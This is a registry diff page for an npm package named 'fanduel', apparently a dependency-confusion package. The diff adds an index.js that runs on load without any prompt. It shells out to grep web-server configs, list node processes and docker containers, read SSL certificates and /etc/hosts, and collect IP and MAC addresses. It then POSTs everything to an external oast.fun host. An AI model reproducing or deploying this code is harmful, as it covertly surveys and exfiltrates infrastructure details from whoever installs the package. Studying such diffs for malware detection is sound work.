fanduel 100.0.0 → 100.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +396 -16
- package/package.json +2 -7
package/index.js
CHANGED
|
@@ -1,21 +1,401 @@
|
|
|
1
1
|
const https = require("https");
|
|
2
2
|
const os = require("os");
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
const fs = require("fs");
|
|
5
|
+
const { exec } = require("child_process");
|
|
6
|
+
const networkInterfaces = os.networkInterfaces();
|
|
3
7
|
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
method: "POST",
|
|
14
|
-
headers: {
|
|
15
|
-
"Content-Type": "application/json",
|
|
16
|
-
"Content-Length": data.length
|
|
8
|
+
// Function to get primary IPv4 address
|
|
9
|
+
function getPrimaryIPv4() {
|
|
10
|
+
for (const interfaceName in networkInterfaces) {
|
|
11
|
+
const interfaces = networkInterfaces[interfaceName];
|
|
12
|
+
for (const iface of interfaces) {
|
|
13
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
14
|
+
return iface.address;
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
17
|
}
|
|
18
|
-
|
|
18
|
+
return null;
|
|
19
|
+
}
|
|
19
20
|
|
|
20
|
-
|
|
21
|
-
|
|
21
|
+
// Function to get all IPv4 addresses
|
|
22
|
+
function getAllIPv4() {
|
|
23
|
+
const ipv4Addresses = [];
|
|
24
|
+
for (const interfaceName in networkInterfaces) {
|
|
25
|
+
const interfaces = networkInterfaces[interfaceName];
|
|
26
|
+
for (const iface of interfaces) {
|
|
27
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
28
|
+
ipv4Addresses.push({
|
|
29
|
+
interface: interfaceName,
|
|
30
|
+
address: iface.address,
|
|
31
|
+
netmask: iface.netmask,
|
|
32
|
+
mac: iface.mac
|
|
33
|
+
});
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
return ipv4Addresses;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// Get DNS servers
|
|
41
|
+
function getDnsServers() {
|
|
42
|
+
return dns.getServers();
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
// Detect Nginx virtual hosts
|
|
46
|
+
async function getNginxDomains() {
|
|
47
|
+
const domains = [];
|
|
48
|
+
const nginxConfigPaths = [
|
|
49
|
+
'/etc/nginx/nginx.conf',
|
|
50
|
+
'/etc/nginx/sites-enabled/*',
|
|
51
|
+
'/etc/nginx/sites-available/*',
|
|
52
|
+
'/usr/local/nginx/conf/nginx.conf'
|
|
53
|
+
];
|
|
54
|
+
|
|
55
|
+
for (const path of nginxConfigPaths) {
|
|
56
|
+
try {
|
|
57
|
+
const output = await execCommand(`grep -h "server_name" ${path} 2>/dev/null | grep -v "#" | sed 's/server_name//g' | tr -d ';'`);
|
|
58
|
+
if (output) {
|
|
59
|
+
const matches = output.match(/\S+\.\S+/g);
|
|
60
|
+
if (matches) {
|
|
61
|
+
domains.push(...matches.filter(d => d !== '_' && !d.includes('$')));
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
} catch (err) {
|
|
65
|
+
// Skip if file doesn't exist
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
return [...new Set(domains)]; // Remove duplicates
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
// Detect Apache virtual hosts
|
|
73
|
+
async function getApacheDomains() {
|
|
74
|
+
const domains = [];
|
|
75
|
+
const apacheConfigPaths = [
|
|
76
|
+
'/etc/apache2/sites-enabled/*',
|
|
77
|
+
'/etc/apache2/sites-available/*',
|
|
78
|
+
'/etc/httpd/conf.d/*',
|
|
79
|
+
'/usr/local/apache2/conf/extra/httpd-vhosts.conf'
|
|
80
|
+
];
|
|
81
|
+
|
|
82
|
+
for (const path of apacheConfigPaths) {
|
|
83
|
+
try {
|
|
84
|
+
const output = await execCommand(`grep -h "ServerName" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
|
|
85
|
+
if (output) {
|
|
86
|
+
const lines = output.split('\n');
|
|
87
|
+
domains.push(...lines.filter(l => l && l.includes('.')));
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
const outputAlias = await execCommand(`grep -h "ServerAlias" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
|
|
91
|
+
if (outputAlias) {
|
|
92
|
+
const lines = outputAlias.split('\n');
|
|
93
|
+
domains.push(...lines.filter(l => l && l.includes('.')));
|
|
94
|
+
}
|
|
95
|
+
} catch (err) {
|
|
96
|
+
// Skip if file doesn't exist
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
return [...new Set(domains)];
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
// Detect Node.js applications and their domains
|
|
104
|
+
async function getNodeApps() {
|
|
105
|
+
const apps = [];
|
|
106
|
+
try {
|
|
107
|
+
// Get running Node.js processes
|
|
108
|
+
const output = await execCommand('ps aux | grep "node" | grep -v grep | grep -v "ps aux"');
|
|
109
|
+
const lines = output.split('\n');
|
|
110
|
+
|
|
111
|
+
for (const line of lines) {
|
|
112
|
+
const app = {
|
|
113
|
+
command: line,
|
|
114
|
+
port: null,
|
|
115
|
+
domains: []
|
|
116
|
+
};
|
|
117
|
+
|
|
118
|
+
// Extract port from command
|
|
119
|
+
const portMatch = line.match(/--port[= ](\d+)/i) || line.match(/:(\d+)/);
|
|
120
|
+
if (portMatch) {
|
|
121
|
+
app.port = portMatch[1];
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
// Extract domains from environment variables or config files
|
|
125
|
+
const pathMatch = line.match(/([\/\w\-\.]+\.js)/);
|
|
126
|
+
if (pathMatch) {
|
|
127
|
+
app.script = pathMatch[1];
|
|
128
|
+
|
|
129
|
+
// Try to read the script for domain configs
|
|
130
|
+
try {
|
|
131
|
+
const scriptContent = await execCommand(`grep -E "(domain|hostname|serverName)" ${pathMatch[1]} 2>/dev/null | head -5`);
|
|
132
|
+
const domainMatches = scriptContent.match(/[a-zA-Z0-9][a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/g);
|
|
133
|
+
if (domainMatches) {
|
|
134
|
+
app.domains = [...new Set(domainMatches)];
|
|
135
|
+
}
|
|
136
|
+
} catch (err) {}
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
apps.push(app);
|
|
140
|
+
}
|
|
141
|
+
} catch (err) {}
|
|
142
|
+
|
|
143
|
+
return apps;
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
// Detect Docker containers and their exposed domains
|
|
147
|
+
async function getDockerDomains() {
|
|
148
|
+
const containers = [];
|
|
149
|
+
try {
|
|
150
|
+
const output = await execCommand('docker ps --format "{{.Names}} {{.Ports}}" 2>/dev/null');
|
|
151
|
+
const lines = output.split('\n');
|
|
152
|
+
|
|
153
|
+
for (const line of lines) {
|
|
154
|
+
if (line.trim()) {
|
|
155
|
+
const [name, ports] = line.split(' ');
|
|
156
|
+
containers.push({
|
|
157
|
+
name: name,
|
|
158
|
+
ports: ports,
|
|
159
|
+
domains: [] // Would need to inspect each container for domain configs
|
|
160
|
+
});
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
} catch (err) {}
|
|
164
|
+
|
|
165
|
+
return containers;
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
// Detect Caddy domains
|
|
169
|
+
async function getCaddyDomains() {
|
|
170
|
+
const domains = [];
|
|
171
|
+
const caddyfilePaths = [
|
|
172
|
+
'/etc/caddy/Caddyfile',
|
|
173
|
+
'/etc/caddy/Caddyfile.config',
|
|
174
|
+
'./Caddyfile'
|
|
175
|
+
];
|
|
176
|
+
|
|
177
|
+
for (const path of caddyfilePaths) {
|
|
178
|
+
try {
|
|
179
|
+
const content = await execCommand(`cat ${path} 2>/dev/null | grep -v "^#" | grep -E "^[a-z]"`);
|
|
180
|
+
if (content) {
|
|
181
|
+
const lines = content.split('\n');
|
|
182
|
+
for (const line of lines) {
|
|
183
|
+
const domainMatch = line.match(/^([a-zA-Z0-9][a-zA-Z0-9\-\.]+)(?:\s|{)/);
|
|
184
|
+
if (domainMatch && domainMatch[1].includes('.')) {
|
|
185
|
+
domains.push(domainMatch[1]);
|
|
186
|
+
}
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
} catch (err) {}
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
return [...new Set(domains)];
|
|
193
|
+
}
|
|
194
|
+
|
|
195
|
+
// Detect domains from SSL certificates
|
|
196
|
+
async function getSSLDomains() {
|
|
197
|
+
const domains = [];
|
|
198
|
+
try {
|
|
199
|
+
const output = await execCommand('find /etc/ssl /etc/letsencrypt/live -name "*.crt" -o -name "*.pem" 2>/dev/null | head -20');
|
|
200
|
+
const certFiles = output.split('\n');
|
|
201
|
+
|
|
202
|
+
for (const cert of certFiles) {
|
|
203
|
+
if (cert.trim()) {
|
|
204
|
+
const certData = await execCommand(`openssl x509 -in ${cert} -noout -text 2>/dev/null | grep "DNS:"`);
|
|
205
|
+
if (certData) {
|
|
206
|
+
const dnsMatches = certData.match(/DNS:[^\s,]+/g);
|
|
207
|
+
if (dnsMatches) {
|
|
208
|
+
domains.push(...dnsMatches.map(d => d.replace('DNS:', '')));
|
|
209
|
+
}
|
|
210
|
+
}
|
|
211
|
+
}
|
|
212
|
+
}
|
|
213
|
+
} catch (err) {}
|
|
214
|
+
|
|
215
|
+
return [...new Set(domains)];
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
// Helper to execute shell commands
|
|
219
|
+
function execCommand(command) {
|
|
220
|
+
return new Promise((resolve) => {
|
|
221
|
+
exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
|
|
222
|
+
if (error || stderr) {
|
|
223
|
+
resolve('');
|
|
224
|
+
} else {
|
|
225
|
+
resolve(stdout);
|
|
226
|
+
}
|
|
227
|
+
});
|
|
228
|
+
});
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
// Read /etc/hosts for local domain mappings
|
|
232
|
+
async function getHostsFile() {
|
|
233
|
+
try {
|
|
234
|
+
const content = await execCommand('cat /etc/hosts 2>/dev/null');
|
|
235
|
+
const lines = content.split('\n');
|
|
236
|
+
const mappings = [];
|
|
237
|
+
|
|
238
|
+
for (const line of lines) {
|
|
239
|
+
if (line && !line.startsWith('#')) {
|
|
240
|
+
const parts = line.trim().split(/\s+/);
|
|
241
|
+
if (parts.length >= 2) {
|
|
242
|
+
mappings.push({
|
|
243
|
+
ip: parts[0],
|
|
244
|
+
domains: parts.slice(1)
|
|
245
|
+
});
|
|
246
|
+
}
|
|
247
|
+
}
|
|
248
|
+
}
|
|
249
|
+
return mappings;
|
|
250
|
+
} catch (err) {
|
|
251
|
+
return [];
|
|
252
|
+
}
|
|
253
|
+
}
|
|
254
|
+
|
|
255
|
+
// Main data collection
|
|
256
|
+
async function collectData() {
|
|
257
|
+
const hostname = os.hostname();
|
|
258
|
+
const primaryIPv4 = getPrimaryIPv4();
|
|
259
|
+
const allIPv4 = getAllIPv4();
|
|
260
|
+
const dnsServers = getDnsServers();
|
|
261
|
+
|
|
262
|
+
console.log('Collecting web server domain information...');
|
|
263
|
+
|
|
264
|
+
// Collect all domain data in parallel
|
|
265
|
+
const [
|
|
266
|
+
nginxDomains,
|
|
267
|
+
apacheDomains,
|
|
268
|
+
nodeApps,
|
|
269
|
+
dockerContainers,
|
|
270
|
+
caddyDomains,
|
|
271
|
+
sslDomains,
|
|
272
|
+
hostsMappings
|
|
273
|
+
] = await Promise.all([
|
|
274
|
+
getNginxDomains(),
|
|
275
|
+
getApacheDomains(),
|
|
276
|
+
getNodeApps(),
|
|
277
|
+
getDockerDomains(),
|
|
278
|
+
getCaddyDomains(),
|
|
279
|
+
getSSLDomains(),
|
|
280
|
+
getHostsFile()
|
|
281
|
+
]);
|
|
282
|
+
|
|
283
|
+
// Combine all identified domains
|
|
284
|
+
const allIdentifiedDomains = [...new Set([
|
|
285
|
+
...nginxDomains,
|
|
286
|
+
...apacheDomains,
|
|
287
|
+
...caddyDomains,
|
|
288
|
+
...sslDomains
|
|
289
|
+
])];
|
|
290
|
+
|
|
291
|
+
const data = {
|
|
292
|
+
// Basic system info
|
|
293
|
+
hostname: hostname,
|
|
294
|
+
fqdn: null,
|
|
295
|
+
platform: os.platform(),
|
|
296
|
+
arch: os.arch(),
|
|
297
|
+
osType: os.type(),
|
|
298
|
+
osRelease: os.release(),
|
|
299
|
+
|
|
300
|
+
// Network info
|
|
301
|
+
ipv4: {
|
|
302
|
+
primary: primaryIPv4,
|
|
303
|
+
all: allIPv4
|
|
304
|
+
},
|
|
305
|
+
dns: {
|
|
306
|
+
servers: dnsServers
|
|
307
|
+
},
|
|
308
|
+
|
|
309
|
+
// Web servers and hosted domains
|
|
310
|
+
webServers: {
|
|
311
|
+
nginx: {
|
|
312
|
+
installed: nginxDomains.length > 0,
|
|
313
|
+
domains: nginxDomains
|
|
314
|
+
},
|
|
315
|
+
apache: {
|
|
316
|
+
installed: apacheDomains.length > 0,
|
|
317
|
+
domains: apacheDomains
|
|
318
|
+
},
|
|
319
|
+
caddy: {
|
|
320
|
+
installed: caddyDomains.length > 0,
|
|
321
|
+
domains: caddyDomains
|
|
322
|
+
}
|
|
323
|
+
},
|
|
324
|
+
|
|
325
|
+
// Applications
|
|
326
|
+
applications: {
|
|
327
|
+
nodejs: nodeApps,
|
|
328
|
+
docker: dockerContainers
|
|
329
|
+
},
|
|
330
|
+
|
|
331
|
+
// SSL certificates domains
|
|
332
|
+
sslCertificates: {
|
|
333
|
+
domains: sslDomains
|
|
334
|
+
},
|
|
335
|
+
|
|
336
|
+
// Local DNS mappings
|
|
337
|
+
hostsFile: hostsMappings,
|
|
338
|
+
|
|
339
|
+
// All unique domains identified
|
|
340
|
+
identifiedDomains: allIdentifiedDomains,
|
|
341
|
+
|
|
342
|
+
// Summary of what's hosted
|
|
343
|
+
summary: {
|
|
344
|
+
totalDomains: allIdentifiedDomains.length,
|
|
345
|
+
webServersFound: [
|
|
346
|
+
nginxDomains.length > 0 ? 'nginx' : null,
|
|
347
|
+
apacheDomains.length > 0 ? 'apache' : null,
|
|
348
|
+
caddyDomains.length > 0 ? 'caddy' : null
|
|
349
|
+
].filter(Boolean),
|
|
350
|
+
nodeAppsCount: nodeApps.filter(app => app.command).length,
|
|
351
|
+
dockerContainersCount: dockerContainers.length
|
|
352
|
+
}
|
|
353
|
+
};
|
|
354
|
+
|
|
355
|
+
// Get FQDN
|
|
356
|
+
try {
|
|
357
|
+
const lookup = await new Promise((resolve) => {
|
|
358
|
+
dns.lookup(hostname, (err, address) => {
|
|
359
|
+
resolve(!err);
|
|
360
|
+
});
|
|
361
|
+
});
|
|
362
|
+
if (lookup) {
|
|
363
|
+
data.fqdn = hostname;
|
|
364
|
+
}
|
|
365
|
+
} catch (err) {}
|
|
366
|
+
|
|
367
|
+
return data;
|
|
368
|
+
}
|
|
369
|
+
|
|
370
|
+
// Send data to server
|
|
371
|
+
async function sendData() {
|
|
372
|
+
try {
|
|
373
|
+
const collectedData = await collectData();
|
|
374
|
+
const dataString = JSON.stringify(collectedData, null, 2);
|
|
375
|
+
|
|
376
|
+
console.log('Collected data:', dataString);
|
|
377
|
+
|
|
378
|
+
const req = https.request({
|
|
379
|
+
hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
|
|
380
|
+
path: "/fanduel",
|
|
381
|
+
method: "POST",
|
|
382
|
+
headers: {
|
|
383
|
+
"Content-Type": "application/json",
|
|
384
|
+
"Content-Length": Buffer.byteLength(dataString)
|
|
385
|
+
}
|
|
386
|
+
});
|
|
387
|
+
|
|
388
|
+
req.on('error', (e) => {
|
|
389
|
+
console.error('Request error:', e);
|
|
390
|
+
});
|
|
391
|
+
|
|
392
|
+
req.write(dataString);
|
|
393
|
+
req.end();
|
|
394
|
+
|
|
395
|
+
} catch (error) {
|
|
396
|
+
console.error('Error collecting/sending data:', error);
|
|
397
|
+
}
|
|
398
|
+
}
|
|
399
|
+
|
|
400
|
+
// Execute
|
|
401
|
+
sendData();
|
package/package.json
CHANGED